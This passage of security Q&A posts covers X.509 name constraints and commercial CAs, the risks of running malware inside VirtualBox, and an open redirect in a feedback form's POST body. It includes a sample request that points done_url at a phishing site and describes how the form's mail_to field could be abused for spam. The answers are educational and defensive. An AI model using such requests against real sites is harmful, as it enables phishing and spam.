     name that can be constructed by simply adding zero or more labels to
     the left-hand side of the name satisfies the name constraint.  For
     example, www.host.example.com would satisfy the constraint but
     host1.example.com would not.

which is exactly what you are looking for.

Now the trick is to get an existing recognized root CA (i.e. a CA which can emit certificates which Average Joe's Web browser will accept without any scary warning) to sell you such a certificate. Remember that the business model of a commercial CA which charges you 250$ per server is to be able to keep on charging you 250$ per server; since your goal is precisely to avoid giving them so much money, I guess that they may object, by, e.g., not signing your CA certificate.

Also, support of Name Constraints by existing deployed Web browsers might be a bit flaky. This is not the most widely used X.509 feature ever.


Is it safe to run virus (infected executable) inside VirtualBox? Is it safer to run suspicious (trojan, malware, virus) software/exe/applications inside VirtualBox (Windows) and what threats do they have?

Your question differs from the one stated in your post. Is it safer? Yes, it is safer to execute programs in a virtual machine but it is not complete safe (then again, what is?). You can escape a virtual machine a vulnerability is used, in this case within VirtualBox.

You also have to keep in mind that setting up the virtual machine poorly will allow malicious code to escape the virtual machine. This all depends on you.

It depends on the malware itself what they can cause. It can vary from using your computer or virtual machine in a botnet to destroying all files on the computer.

Edit It was brought to my attention this question is a duplicate, see this answer for a more detailed answer to your question.


Exploiting an Open Redirect in POST body? I have the following example POST request as part of a feedback form for a website that allows for an arbitrary value to be supplied to the "done_url" parameter, allowing for an open redirect after the feedback form has been processed.

POST /cgi-bin/formproc2.cgi HTTP/1.1
Host: foobar.com

mail_to=support%40support.com&subject=Feedback+Form&done_url=http://phishingsite.com&feedback=I+love+your+site&Submit=Submit

I am familiar with the typical forms of phishing done for open redirects in GET requests, such as this example http://www.secureworks.com/resources/blog/research/spam-government-websites-abused-ongoing-spam-campaign/

But how would an attacker exploit this redirect in the POST body?

Usually you would need to have this in a GET for it to be exploitable (in the sense of being able to redirect the user to an arbitrary URL after they've visited the link), however a couple of points occur about this

It might be possible to convert the POST to a GET and still have it process correctly, depends on the server-side logic.
That form may well have another issue which is that the target of the main is specified as a parameter.  If an attacker can modify that parameter then they can use this form to send spam to arbitrary addresses.  From a security standpoint the mail_to parameter should be held server-side not sent from the client (if it has to be sent from the client it should be white-list validated before the e-mail is actually sent)